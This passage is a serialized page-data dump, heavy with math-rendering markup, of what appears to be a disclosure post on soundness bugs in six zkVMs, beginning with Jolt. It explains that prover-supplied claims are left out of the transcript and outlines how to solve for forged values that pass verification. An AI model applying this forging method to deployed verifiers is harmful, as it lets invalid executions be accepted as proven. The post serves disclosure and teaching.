,{"type":23,"tag":504,"props":113456,"children":113458},{"className":113457},[20720,112316],[],{"type":23,"tag":24,"props":113460,"children":113461},{},[113462,113464,113646],{"type":28,"value":113463},"The global check: ",{"type":23,"tag":56,"props":113465,"children":113467},{"className":113466},[2960,2961],[113468],{"type":23,"tag":504,"props":113469,"children":113471},{"className":113470},[2966],[113472],{"type":23,"tag":504,"props":113473,"children":113475},{"className":113474,"ariaHidden":2972},[2971],[113476,113633],{"type":23,"tag":504,"props":113477,"children":113479},{"className":113478},[2977],[113480,113484,113541,113545,113554,113559,113620,113624,113629],{"type":23,"tag":504,"props":113481,"children":113483},{"className":113482,"style":91740},[2982],[],{"type":23,"tag":504,"props":113485,"children":113487},{"className":113486},[20605],[113488,113493],{"type":23,"tag":504,"props":113489,"children":113491},{"className":113490,"style":20612},[20605,20610,20611],[113492],{"type":28,"value":107593},{"type":23,"tag":504,"props":113494,"children":113496},{"className":113495},[3005],[113497],{"type":23,"tag":504,"props":113498,"children":113500},{"className":113499},[3010,20623],[113501,113530],{"type":23,"tag":504,"props":113502,"children":113504},{"className":113503},[3015],[113505,113525],{"type":23,"tag":504,"props":113506,"children":113508},{"className":113507,"style":113005},[3020],[113509],{"type":23,"tag":504,"props":113510,"children":113511},{"style":20636},[113512,113516],{"type":23,"tag":504,"props":113513,"children":113515},{"className":113514,"style":3030},[3029],[],{"type":23,"tag":504,"props":113517,"children":113519},{"className":113518},[3035,3036,3037,3038],[113520],{"type":23,"tag":504,"props":113521,"children":113523},{"className":113522},[2988,20569,3038],[113524],{"type":28,"value":2716},{"type":23,"tag":504,"props":113526,"children":113528},{"className":113527},[20726],[113529],{"type":28,"value":20729},{"type":23,"tag":504,"props":113531,"children":113533},{"className":113532},[3015],[113534],{"type":23,"tag":504,"props":113535,"children":113537},{"className":113536,"style":113285},[3020],[113538],{"type":23,"tag":504,"props":113539,"children":113540},{},[],{"type":23,"tag":504,"props":113542,"children":113544},{"className":113543,"style":3108},[3069],[],{"type":23,"tag":504,"props":113546,"children":113548},{"className":113547},[2988,28],[113549],{"type":23,"tag":504,"props":113550,"children":113552},{"className":113551},[2988],[113553],{"type":28,"value":112891},{"type":23,"tag":504,"props":113555,"children":113557},{"className":113556,"style":91798},[2988],[113558],{"type":28,"value":2059},{"type":23,"tag":504,"props":113560,"children":113562},{"className":113561},[2988],[113563,113572],{"type":23,"tag":504,"props":113564,"children":113566},{"className":113565},[2988,28],[113567],{"type":23,"tag":504,"props":113568,"children":113570},{"className":113569},[2988],[113571],{"type":28,"value":75383},{"type":23,"tag":504,"props":113573,"children":113575},{"className":113574},[3005],[113576],{"type":23,"tag":504,"props":113577,"children":113579},{"className":113578},[3010,20623],[113580,113609],{"type":23,"tag":504,"props":113581,"children":113583},{"className":113582},[3015],[113584,113604],{"type":23,"tag":504,"props":113585,"children":113587},{"className":113586,"style":92327},[3020],[113588],{"type":23,"tag":504,"props":113589,"children":113590},{"style":112928},[113591,113595],{"type":23,"tag":504,"props":113592,"children":113594},{"className":113593,"style":3030},[3029],[],{"type":23,"tag":504,"props":113596,"children":113598},{"className":113597},[3035,3036,3037,3038],[113599],{"type":23,"tag":504,"props":113600,"children":113602},{"className":113601},[2988,20569,3038],[113603],{"type":28,"value":2716},{"type":23,"tag":504,"props":113605,"children":113607},{"className":113606},[20726],[113608],{"type":28,"value":20729},{"type":23,"tag":504,"props":113610,"children":113612},{"className":113611},[3015],[113613],{"type":23,"tag":504,"props":113614,"children":113616},{"className":113615,"style":91881},[3020],[113617],{"type":23,"tag":504,"props":113618,"children":113619},{},[],{"type":23,"tag":504,"props":113621,"children":113623},{"className":113622,"style":3167},[3069],[],{"type":23,"tag":504,"props":113625,"children":113627},{"className":113626},[3172],[113628],{"type":28,"value":601},{"type":23,"tag":504,"props":113630,"children":113632},{"className":113631,"style":3167},[3069],[],{"type":23,"tag":504,"props":113634,"children":113636},{"className":113635},[2977],[113637,113641],{"type":23,"tag":504,"props":113638,"children":113640},{"className":113639,"style":92829},[2982],[],{"type":23,"tag":504,"props":113642,"children":113644},{"className":113643},[2988],[113645],{"type":28,"value":3001},{"type":28,"value":320},{"type":23,"tag":24,"props":113648,"children":113649},{},[113650,113655,113657,113663],{"type":23,"tag":296,"props":113651,"children":113652},{},[113653],{"type":28,"value":113654},"Why this is vulnerable:",{"type":28,"value":113656}," The ",{"type":23,"tag":56,"props":113658,"children":113660},{"className":113659},[],[113661],{"type":28,"value":113662},"claimed_sum",{"type":28,"value":113664}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":23,"tag":17774,"props":113666,"children":113667},{},[],{"type":23,"tag":70,"props":113669,"children":113671},{"id":113670},"the-universal-attack-pattern",[113672],{"type":28,"value":113673},"The Universal Attack Pattern",{"type":23,"tag":24,"props":113675,"children":113676},{},[113677],{"type":28,"value":113678},"Now we can describe the attack pattern that works on all six systems:",{"type":23,"tag":24,"props":113680,"children":113681},{},[113682],{"type":23,"tag":126,"props":113683,"children":113686},{"alt":113684,"src":113685},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":23,"tag":24,"props":113688,"children":113689},{},[113690,113692,113717],{"type":28,"value":113691},"When a value ",{"type":23,"tag":56,"props":113693,"children":113695},{"className":113694},[2960,2961],[113696],{"type":23,"tag":504,"props":113697,"children":113699},{"className":113698},[2966],[113700],{"type":23,"tag":504,"props":113701,"children":113703},{"className":113702,"ariaHidden":2972},[2971],[113704],{"type":23,"tag":504,"props":113705,"children":113707},{"className":113706},[2977],[113708,113712],{"type":23,"tag":504,"props":113709,"children":113711},{"className":113710,"style":20564},[2982],[],{"type":23,"tag":504,"props":113713,"children":113715},{"className":113714,"style":106996},[2988,20569],[113716],{"type":28,"value":107320},{"type":28,"value":113718}," isn't transcript-bound:",{"type":23,"tag":41,"props":113720,"children":113721},{},[113722,113753,113830,113975],{"type":23,"tag":45,"props":113723,"children":113724},{},[113725,113727,113752],{"type":28,"value":113726},"Challenges are fixed (independent of ",{"type":23,"tag":56,"props":113728,"children":113730},{"className":113729},[2960,2961],[113731],{"type":23,"tag":504,"props":113732,"children":113734},{"className":113733},[2966],[113735],{"type":23,"tag":504,"props":113736,"children":113738},{"className":113737,"ariaHidden":2972},[2971],[113739],{"type":23,"tag":504,"props":113740,"children":113742},{"className":113741},[2977],[113743,113747],{"type":23,"tag":504,"props":113744,"children":113746},{"className":113745,"style":20564},[2982],[],{"type":23,"tag":504,"props":113748,"children":113750},{"className":113749,"style":106996},[2988,20569],[113751],{"type":28,"value":107320},{"type":28,"value":2105},{"type":23,"tag":45,"props":113754,"children":113755},{},[113756,113758],{"type":28,"value":113757},"The verification equation has form: ",{"type":23,"tag":56,"props":113759,"children":113761},{"className":113760},[2960,2961],[113762],{"type":23,"tag":504,"props":113763,"children":113765},{"className":113764},[2966],[113766],{"type":23,"tag":504,"props":113767,"children":113769},{"className":113768,"ariaHidden":2972},[2971],[113770,113811],{"type":23,"tag":504,"props":113771,"children":113773},{"className":113772},[2977],[113774,113778,113783,113788,113793,113798,113802,113807],{"type":23,"tag":504,"props":113775,"children":113777},{"className":113776,"style":3090},[2982],[],{"type":23,"tag":504,"props":113779,"children":113781},{"className":113780,"style":94152},[2988,20569],[113782],{"type":28,"value":32062},{"type":23,"tag":504,"props":113784,"children":113786},{"className":113785},[20698],[113787],{"type":28,"value":526},{"type":23,"tag":504,"props":113789,"children":113791},{"className":113790,"style":106996},[2988,20569],[113792],{"type":28,"value":107320},{"type":23,"tag":504,"props":113794,"children":113796},{"className":113795},[20720],[113797],{"type":28,"value":2105},{"type":23,"tag":504,"props":113799,"children":113801},{"className":113800,"style":3167},[3069],[],{"type":23,"tag":504,"props":113803,"children":113805},{"className":113804},[3172],[113806],{"type":28,"value":601},{"type":23,"tag":504,"props":113808,"children":113810},{"className":113809,"style":3167},[3069],[],{"type":23,"tag":504,"props":113812,"children":113814},{"className":113813},[2977],[113815,113820],{"type":23,"tag":504,"props":113816,"children":113819},{"className":113817,"style":113818},[2982],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":23,"tag":504,"props":113821,"children":113823},{"className":113822},[2988,28],[113824],{"type":23,"tag":504,"props":113825,"children":113827},{"className":113826},[2988],[113828],{"type":28,"value":113829},"target",{"type":23,"tag":45,"props":113831,"children":113832},{},[113833,113834,113860,113862],{"type":28,"value":6463},{"type":23,"tag":56,"props":113835,"children":113837},{"className":113836},[2960,2961],[113838],{"type":23,"tag":504,"props":113839,"children":113841},{"className":113840},[2966],[113842],{"type":23,"tag":504,"props":113843,"children":113845},{"className":113844,"ariaHidden":2972},[2971],[113846],{"type":23,"tag":504,"props":113847,"children":113849},{"className":113848},[2977],[113850,113855],{"type":23,"tag":504,"props":113851,"children":113854},{"className":113852,"style":113853},[2982],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":23,"tag":504,"props":113856,"children":113858},{"className":113857,"style":94152},[2988,20569],[113859],{"type":28,"value":32062},{"type":28,"value":113861}," is linear: ",{"type":23,"tag":56,"props":113863,"children":113865},{"className":113864},[2960,2961],[113866],{"type":23,"tag":504,"props":113867,"children":113869},{"className":113868},[2966],[113870],{"type":23,"tag":504,"props":113871,"children":113873},{"className":113872,"ariaHidden":2972},[2971],[113874,113903,113930,113958],{"type":23,"tag":504,"props":113875,"children":113877},{"className":113876},[2977],[113878,113883,113890,113894,113899],{"type":23,"tag":504,"props":113879,"children":113882},{"className":113880,"style":113881},[2982],"height:0.4445em;",[],{"type":23,"tag":504,"props":113884,"children":113887},{"className":113885,"style":113886},[2988,20569],"margin-right:0.0037em;",[113888],{"type":28,"value":113889},"α",{"type":23,"tag":504,"props":113891,"children":113893},{"className":113892,"style":3070},[3069],[],{"type":23,"tag":504,"props":113895,"children":113897},{"className":113896},[3075],[113898],{"type":28,"value":110060},{"type":23,"tag":504,"props":113900,"children":113902},{"className":113901,"style":3070},[3069],[],{"type":23,"tag":504,"props":113904,"children":113906},{"className":113905},[2977],[113907,113912,113917,113921,113926],{"type":23,"tag":504,"props":113908,"children":113911},{"className":113909,"style":113910},[2982],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":23,"tag":504,"props":113913,"children":113915},{"className":113914,"style":106996},[2988,20569],[113916],{"type":28,"value":107320},{"type":23,"tag":504,"props":113918,"children":113920},{"className":113919,"style":3070},[3069],[],{"type":23,"tag":504,"props":113922,"children":113924},{"className":113923},[3075],[113925],{"type":28,"value":1642},{"type":23,"tag":504,"props":113927,"children":113929},{"className":113928,"style":3070},[3069],[],{"type":23,"tag":504,"props":113931,"children":113933},{"className":113932},[2977],[113934,113938,113945,113949,113954],{"type":23,"tag":504,"props":113935,"children":113937},{"className":113936,"style":113853},[2982],[],{"type":23,"tag":504,"props":113939,"children":113942},{"className":113940,"style":113941},[2988,20569],"margin-right:0.05278em;",[113943],{"type":28,"value":113944},"β",{"type":23,"tag":504,"props":113946,"children":113948},{"className":113947,"style":3167},[3069],[],{"type":23,"tag":504,"props":113950,"children":113952},{"className":113951},[3172],[113953],{"type":28,"value":601},{"type":23,"tag":504,"props":113955,"children":113957},{"className":113956,"style":3167},[3069],[],{"type":23,"tag":504,"props":113959,"children":113961},{"className":113960},[2977],[113962,113966],{"type":23,"tag":504,"props":113963,"children":113965},{"className":113964,"style":113818},[2982],[],{"type":23,"tag":504,"props":113967,"children":113969},{"className":113968},[2988,28],[113970],{"type":23,"tag":504,"props":113971,"children":113973},{"className":113972},[2988],[113974],{"type":28,"value":113829},{"type":23,"tag":45,"props":113976,"children":113977},{},[113978,113980],{"type":28,"value":113979},"Solve: ",{"type":23,"tag":56,"props":113981,"children":113983},{"className":113982},[2960,2961],[113984],{"type":23,"tag":504,"props":113985,"children":113987},{"className":113986},[2966],[113988],{"type":23,"tag":504,"props":113989,"children":113991},{"className":113990,"ariaHidden":2972},[2971],[113992,114018,114053],{"type":23,"tag":504,"props":113993,"children":113995},{"className":113994},[2977],[113996,114000,114005,114009,114014],{"type":23,"tag":504,"props":113997,"children":113999},{"className":113998,"style":20564},[2982],[],{"type":23,"tag":504,"props":114001,"children":114003},{"className":114002,"style":106996},[2988,20569],[114004],{"type":28,"value":107320},{"type":23,"tag":504,"props":114006,"children":114008},{"className":114007,"style":3167},[3069],[],{"type":23,"tag":504,"props":114010,"children":114012},{"className":114011},[3172],[114013],{"type":28,"value":601},{"type":23,"tag":504,"props":114015,"children":114017},{"className":114016,"style":3167},[3069],[],{"type":23,"tag":504,"props":114019,"children":114021},{"className":114020},[2977],[114022,114026,114031,114040,114044,114049],{"type":23,"tag":504,"props":114023,"children":114025},{"className":114024,"style":3090},[2982],[],{"type":23,"tag":504,"props":114027,"children":114029},{"className":114028},[20698],[114030],{"type":28,"value":526},{"type":23,"tag":504,"props":114032,"children":114034},{"className":114033},[2988,28],[114035],{"type":23,"tag":504,"props":114036,"children":114038},{"className":114037},[2988],[114039],{"type":28,"value":113829},{"type":23,"tag":504,"props":114041,"children":114043},{"className":114042,"style":3070},[3069],[],{"type":23,"tag":504,"props":114045,"children":114047},{"className":114046},[3075],[114048],{"type":28,"value":3049},{"type":23,"tag":504,"props":114050,"children":114052},{"className":114051,"style":3070},[3069],[],{"type":23,"tag":504,"props":114054,"children":114056},{"className":114055},[2977],[114057,114061,114066,114071,114076],{"type":23,"tag":504,"props":114058,"children":114060},{"className":114059,"style":3090},[2982],[],{"type":23,"tag":504,"props":114062,"children":114064},{"className":114063,"style":113941},[2988,20569],[114065],{"type":28,"value":113944},{"type":23,"tag":504,"props":114067,"children":114069},{"className":114068},[20720],[114070],{"type":28,"value":2105},{"type":23,"tag":504,"props":114072,"children":114074},{"className":114073},[2988],[114075],{"type":28,"value":3562},{"type":23,"tag":504,"props":114077,"children":114079},{"className":114078,"style":113886},[2988,20569],[114080],{"type":28,"value":113889},{"type":23,"tag":24,"props":114082,"children":114083},{},[114084],{"type":28,"value":114085},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":23,"tag":24,"props":114087,"children":114088},{},[114089,114091,114169],{"type":28,"value":114090},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":23,"tag":56,"props":114092,"children":114094},{"className":114093},[2960,2961],[114095],{"type":23,"tag":504,"props":114096,"children":114098},{"className":114097},[2966],[114099],{"type":23,"tag":504,"props":114100,"children":114102},{"className":114101,"ariaHidden":2972},[2971],[114103],{"type":23,"tag":504,"props":114104,"children":114106},{"className":114105},[2977],[114107,114112,114118,114123,114164],{"type":23,"tag":504,"props":114108,"children":114111},{"className":114109,"style":114110},[2982],"height:1.0641em;vertical-align:-0.25em;",[],{"type":23,"tag":504,"props":114113,"children":114115},{"className":114114,"style":91798},[2988,20569],[114116],{"type":28,"value":114117},"O",{"type":23,"tag":504,"props":114119,"children":114121},{"className":114120},[20698],[114122],{"type":28,"value":526},{"type":23,"tag":504,"props":114124,"children":114126},{"className":114125},[2988],[114127,114132],{"type":23,"tag":504,"props":114128,"children":114130},{"className":114129},[2988,20569],[114131],{"type":28,"value":55382},{"type":23,"tag":504,"props":114133,"children":114135},{"className":114134},[3005],[114136],{"type":23,"tag":504,"props":114137,"children":114139},{"className":114138},[3010],[114140],{"type":23,"tag":504,"props":114141,"children":114143},{"className":114142},[3015],[114144],{"type":23,"tag":504,"props":114145,"children":114147},{"className":114146,"style":2983},[3020],[114148],{"type":23,"tag":504,"props":114149,"children":114150},{"style":3024},[114151,114155],{"type":23,"tag":504,"props":114152,"children":114154},{"className":114153,"style":3030},[3029],[],{"type":23,"tag":504,"props":114156,"children":114158},{"className":114157},[3035,3036,3037,3038],[114159],{"type":23,"tag":504,"props":114160,"children":114162},{"className":114161},[2988,3038],[114163],{"type":28,"value":16275},{"type":23,"tag":504,"props":114165,"children":114167},{"className":114166},[20720],[114168],{"type":28,"value":2105},{"type":28,"value":114170}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":23,"tag":17774,"props":114172,"children":114173},{},[],{"type":23,"tag":70,"props":114175,"children":114177},{"id":114176},"the-six-broken-systems",[114178],{"type":28,"value":114179},"The Six Broken Systems",{"type":23,"tag":24,"props":114181,"children":114182},{},[114183],{"type":23,"tag":126,"props":114184,"children":114187},{"alt":114185,"src":114186},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":23,"tag":24,"props":114189,"children":114190},{},[114191],{"type":28,"value":114192},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":23,"tag":17774,"props":114194,"children":114195},{},[],{"type":23,"tag":82,"props":114197,"children":114199},{"id":114198},"jolt-a16z",[114200],{"type":28,"value":114201},"Jolt (a16z)",{"type":23,"tag":24,"props":114203,"children":114204},{},[114205],{"type":28,"value":114206},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":23,"tag":24,"props":114208,"children":114209},{},[114210],{"type":23,"tag":296,"props":114211,"children":114212},{},[114213],{"type":28,"value":114214},"The proof structure:",{"type":23,"tag":494,"props":114216,"children":114218},{"code":114217},"JoltProof {\n    commitments: Vec\u003CCommitment>,           // Polynomial commitments to trace\n    opening_claims: Map\u003COpeningId, Claim>,  // \u003C- THE VULNERABLE VALUES\n    proofs: Map\u003CStage, SumcheckProof>,      // Sumcheck and opening proofs\n    ...\n}\n",[114219],{"type":23,"tag":56,"props":114220,"children":114221},{"__ignoreMap":7},[114222],{"type":28,"value":114217},{"type":23,"tag":24,"props":114224,"children":114225},{},[114226],{"type":23,"tag":296,"props":114227,"children":114228},{},[114229],{"type":28,"value":114230},"The verification flow:",{"type":23,"tag":24,"props":114232,"children":114233},{},[114234],{"type":23,"tag":126,"props":114235,"children":114238},{"alt":114236,"src":114237},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":23,"tag":24,"props":114240,"children":114241},{},[114242,114247,114249,114255,114257,114263,114265,114270],{"type":23,"tag":296,"props":114243,"children":114244},{},[114245],{"type":28,"value":114246},"The bug:",{"type":28,"value":114248}," Each sumcheck instance provides an ",{"type":23,"tag":56,"props":114250,"children":114252},{"className":114251},[],[114253],{"type":28,"value":114254},"input_claim",{"type":28,"value":114256},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":23,"tag":56,"props":114258,"children":114260},{"className":114259},[],[114261],{"type":28,"value":114262},"opening_claims",{"type":28,"value":114264}," in the proof, but they were ",{"type":23,"tag":296,"props":114266,"children":114267},{},[114268],{"type":28,"value":114269},"never absorbed into the transcript",{"type":28,"value":114271}," before the batching coefficients were derived.",{"type":23,"tag":24,"props":114273,"children":114274},{},[114275],{"type":23,"tag":126,"props":114276,"children":114279},{"alt":114277,"src":114278},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":23,"tag":24,"props":114281,"children":114282},{},[114283],{"type":23,"tag":296,"props":114284,"children":114285},{},[114286],{"type":28,"value":114287},"How sumcheck uses opening_claims:",{"type":23,"tag":24,"props":114289,"children":114290},{},[114291,114293,114299,114301,114378],{"type":28,"value":114292},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":23,"tag":56,"props":114294,"children":114296},{"className":114295},[],[114297],{"type":28,"value":114298},"BatchedClaim",{"type":28,"value":114300}," by taking a random linear combination of the individual claims ",{"type":23,"tag":56,"props":114302,"children":114304},{"className":114303},[2960,2961],[114305],{"type":23,"tag":504,"props":114306,"children":114308},{"className":114307},[2966],[114309],{"type":23,"tag":504,"props":114310,"children":114312},{"className":114311,"ariaHidden":2972},[2971],[114313],{"type":23,"tag":504,"props":114314,"children":114316},{"className":114315},[2977],[114317,114321],{"type":23,"tag":504,"props":114318,"children":114320},{"className":114319,"style":109795},[2982],[],{"type":23,"tag":504,"props":114322,"children":114324},{"className":114323},[2988],[114325,114330],{"type":23,"tag":504,"props":114326,"children":114328},{"className":114327,"style":92032},[2988,20569],[114329],{"type":28,"value":92035},{"type":23,"tag":504,"props":114331,"children":114333},{"className":114332},[3005],[114334],{"type":23,"tag":504,"props":114335,"children":114337},{"className":114336},[3010,20623],[114338,114367],{"type":23,"tag":504,"props":114339,"children":114341},{"className":114340},[3015],[114342,114362],{"type":23,"tag":504,"props":114343,"children":114345},{"className":114344,"style":92327},[3020],[114346],{"type":23,"tag":504,"props":114347,"children":114348},{"style":109227},[114349,114353],{"type":23,"tag":504,"props":114350,"children":114352},{"className":114351,"style":3030},[3029],[],{"type":23,"tag":504,"props":114354,"children":114356},{"className":114355},[3035,3036,3037,3038],[114357],{"type":23,"tag":504,"props":114358,"children":114360},{"className":114359},[2988,20569,3038],[114361],{"type":28,"value":2716},{"type":23,"tag":504,"props":114363,"children":114365},{"className":114364},[20726],[114366],{"type":28,"value":20729},{"type":23,"tag":504,"props":114368,"children":114370},{"className":114369},[3015],[114371],{"type":23,"tag":504,"props":114372,"children":114374},{"className":114373,"style":91881},[3020],[114375],{"type":23,"tag":504,"props":114376,"children":114377},{},[],{"type":28,"value":3472},{"type":23,"tag":24,"props":114380,"children":114381},{},[114382],{"type":23,"tag":56,"props":114383,"children":114385},{"className":114384},[2960,2961],[114386],{"type":23,"tag":504,"props":114387,"children":114389},{"className":114388},[2966],[114390],{"type":23,"tag":504,"props":114391,"children":114393},{"className":114392,"ariaHidden":2972},[2971],[114394,114424,114565],{"type":23,"tag":504,"props":114395,"children":114397},{"className":114396},[2977],[114398,114402,114411,114415,114420],{"type":23,"tag":504,"props":114399,"children":114401},{"className":114400,"style":91713},[2982],[],{"type":23,"tag":504,"props":114403,"children":114405},{"className":114404},[2988,28],[114406],{"type":23,"tag":504,"props":114407,"children":114409},{"className":114408},[2988],[114410],{"type":28,"value":114298},{"type":23,"tag":504,"props":114412,"children":114414},{"className":114413,"style":3167},[3069],[],{"type":23,"tag":504,"props":114416,"children":114418},{"className":114417},[3172],[114419],{"type":28,"value":601},{"type":23,"tag":504,"props":114421,"children":114423},{"className":114422,"style":3167},[3069],[],{"type":23,"tag":504,"props":114425,"children":114427},{"className":114426},[2977],[114428,114433,114490,114494,114552,114556,114561],{"type":23,"tag":504,"props":114429,"children":114432},{"className":114430,"style":114431},[2982],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":23,"tag":504,"props":114434,"children":114436},{"className":114435},[20605],[114437,114442],{"type":23,"tag":504,"props":114438,"children":114440},{"className":114439,"style":20612},[20605,20610,20611],[114441],{"type":28,"value":107593},{"type":23,"tag":504,"props":114443,"children":114445},{"className":114444},[3005],[114446],{"type":23,"tag":504,"props":114447,"children":114449},{"className":114448},[3010,20623],[114450,114479],{"type":23,"tag":504,"props":114451,"children":114453},{"className":114452},[3015],[114454,114474],{"type":23,"tag":504,"props":114455,"children":114457},{"className":114456,"style":113005},[3020],[114458],{"type":23,"tag":504,"props":114459,"children":114460},{"style":20636},[114461,114465],{"type":23,"tag":504,"props":114462,"children":114464},{"className":114463,"style":3030},[3029],[],{"type":23,"tag":504,"props":114466,"children":114468},{"className":114467},[3035,3036,3037,3038],[114469],{"type":23,"tag":504,"props":114470,"children":114472},{"className":114471},[2988,20569,3038],[114473],{"type":28,"value":2716},{"type":23,"tag":504,"props":114475,"children":114477},{"className":114476},[20726],[114478],{"type":28,"value":20729},{"type":23,"tag":504,"props":114480,"children":114482},{"className":114481},[3015],[114483],{"type":23,"tag":504,"props":114484,"children":114486},{"className":114485,"style":113285},[3020],[114487],{"type":23,"tag":504,"props":114488,"children":114489},{},[],{"type":23,"tag":504,"props":114491,"children":114493},{"className":114492,"style":3108},[3069],[],{"type":23,"tag":504,"props":114495,"children":114497},{"className":114496},[2988],[114498,114503],{"type":23,"tag":504,"props":114499,"children":114501},{"className":114500,"style":113886},[2988,20569],[114502],{"type":28,"value":113889},{"type":23,"tag":504,"props":114504,"children":114506},{"className":114505},[3005],[114507],{"type":23,"tag":504,"props":114508,"children":114510},{"className":114509},[3010,20623],[114511,114541],{"type":23,"tag":504,"props":114512,"children":114514},{"className":114513},[3015],[114515,114536],{"type":23,"tag":504,"props":114516,"children":114518},{"className":114517,"style":92327},[3020],[114519],{"type":23,"tag":504,"props":114520,"children":114522},{"style":114521},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[114523,114527],{"type":23,"tag":504,"props":114524,"children":114526},{"className":114525,"style":3030},[3029],[],{"type":23,"tag":504,"props":114528,"children":114530},{"className":114529},[3035,3036,3037,3038],[114531],{"type":23,"tag":504,"props":114532,"children":114534},{"className":114533},[2988,20569,3038],[114535],{"type":28,"value":2716},{"type":23,"tag":504,"props":114537,"children":114539},{"className":114538},[20726],[114540],{"type":28,"value":20729},{"type":23,"tag":504,"props":114542,"children":114544},{"className":114543},[3015],[114545],{"type":23,"tag":504,"props":114546,"children":114548},{"className":114547,"style":91881},[3020],[114549],{"type":23,"tag":504,"props":114550,"children":114551},{},[],{"type":23,"tag":504,"props":114553,"children":114555},{"className":114554,"style":3070},[3069],[],{"type":23,"tag":504,"props":114557,"children":114559},{"className":114558},[3075],[114560],{"type":28,"value":110060},{"type":23,"tag":504,"props":114562,"children":114564},{"className":114563,"style":3070},[3069],[],{"type":23,"tag":504,"props":114566,"children":114568},{"className":114567},[2977],[114569,114573],{"type":23,"tag":504,"props":114570,"children":114572},{"className":114571,"style":109795},[2982],[],{"type":23,"tag":504,"props":114574,"children":114576},{"className":114575},[2988],[114577,114582],{"type":23,"tag":504,"props":114578,"children":114580},{"className":114579,"style":92032},[2988,20569],[114581],{"type":28,"value":92035},{"type":23,"tag":504,"props":114583,"children":114585},{"className":114584},[3005],[114586],{"type":23,"tag":504,"props":114587,"children":114589},{"className":114588},[3010,20623],[114590,114619],{"type":23,"tag":504,"props":114591,"children":114593},{"className":114592},[3015],[114594,114614],{"type":23,"tag":504,"props":114595,"children":114597},{"className":114596,"style":92327},[3020],[114598],{"type":23,"tag":504,"props":114599,"children":114600},{"style":109227},[114601,114605],{"type":23,"tag":504,"props":114602,"children":114604},{"className":114603,"style":3030},[3029],[],{"type":23,"tag":504,"props":114606,"children":114608},{"className":114607},[3035,3036,3037,3038],[114609],{"type":23,"tag":504,"props":114610,"children":114612},{"className":114611},[2988,20569,3038],[114613],{"type":28,"value":2716},{"type":23,"tag":504,"props":114615,"children":114617},{"className":114616},[20726],[114618],{"type":28,"value":20729},{"type":23,"tag":504,"props":114620,"children":114622},{"className":114621},[3015],[114623],{"type":23,"tag":504,"props":114624,"children":114626},{"className":114625,"style":91881},[3020],[114627],{"type":23,"tag":504,"props":114628,"children":114629},{},[],{"type":23,"tag":24,"props":114631,"children":114632},{},[114633,114635,114712,114714,114719,114721,114798,114800,114877,114879,114956],{"type":28,"value":114634},"where ",{"type":23,"tag":56,"props":114636,"children":114638},{"className":114637},[2960,2961],[114639],{"type":23,"tag":504,"props":114640,"children":114642},{"className":114641},[2966],[114643],{"type":23,"tag":504,"props":114644,"children":114646},{"className":114645,"ariaHidden":2972},[2971],[114647],{"type":23,"tag":504,"props":114648,"children":114650},{"className":114649},[2977],[114651,114655],{"type":23,"tag":504,"props":114652,"children":114654},{"className":114653,"style":108768},[2982],[],{"type":23,"tag":504,"props":114656,"children":114658},{"className":114657},[2988],[114659,114664],{"type":23,"tag":504,"props":114660,"children":114662},{"className":114661,"style":113886},[2988,20569],[114663],{"type":28,"value":113889},{"type":23,"tag":504,"props":114665,"children":114667},{"className":114666},[3005],[114668],{"type":23,"tag":504,"props":114669,"children":114671},{"className":114670},[3010,20623],[114672,114701],{"type":23,"tag":504,"props":114673,"children":114675},{"className":114674},[3015],[114676,114696],{"type":23,"tag":504,"props":114677,"children":114679},{"className":114678,"style":92327},[3020],[114680],{"type":23,"tag":504,"props":114681,"children":114682},{"style":114521},[114683,114687],{"type":23,"tag":504,"props":114684,"children":114686},{"className":114685,"style":3030},[3029],[],{"type":23,"tag":504,"props":114688,"children":114690},{"className":114689},[3035,3036,3037,3038],[114691],{"type":23,"tag":504,"props":114692,"children":114694},{"className":114693},[2988,20569,3038],[114695],{"type":28,"value":2716},{"type":23,"tag":504,"props":114697,"children":114699},{"className":114698},[20726],[114700],{"type":28,"value":20729},{"type":23,"tag":504,"props":114702,"children":114704},{"className":114703},[3015],[114705],{"type":23,"tag":504,"props":114706,"children":114708},{"className":114707,"style":91881},[3020],[114709],{"type":23,"tag":504,"props":114710,"children":114711},{},[],{"type":28,"value":114713}," are random coefficients derived from the transcript. Since ",{"type":23,"tag":56,"props":114715,"children":114717},{"className":114716},[],[114718],{"type":28,"value":114262},{"type":28,"value":114720}," (containing ",{"type":23,"tag":56,"props":114722,"children":114724},{"className":114723},[2960,2961],[114725],{"type":23,"tag":504,"props":114726,"children":114728},{"className":114727},[2966],[114729],{"type":23,"tag":504,"props":114730,"children":114732},{"className":114731,"ariaHidden":2972},[2971],[114733],{"type":23,"tag":504,"props":114734,"children":114736},{"className":114735},[2977],[114737,114741],{"type":23,"tag":504,"props":114738,"children":114740},{"className":114739,"style":109795},[2982],[],{"type":23,"tag":504,"props":114742,"children":114744},{"className":114743},[2988],[114745,114750],{"type":23,"tag":504,"props":114746,"children":114748},{"className":114747,"style":92032},[2988,20569],[114749],{"type":28,"value":92035},{"type":23,"tag":504,"props":114751,"children":114753},{"className":114752},[3005],[114754],{"type":23,"tag":504,"props":114755,"children":114757},{"className":114756},[3010,20623],[114758,114787],{"type":23,"tag":504,"props":114759,"children":114761},{"className":114760},[3015],[114762,114782],{"type":23,"tag":504,"props":114763,"children":114765},{"className":114764,"style":92327},[3020],[114766],{"type":23,"tag":504,"props":114767,"children":114768},{"style":109227},[114769,114773],{"type":23,"tag":504,"props":114770,"children":114772},{"className":11477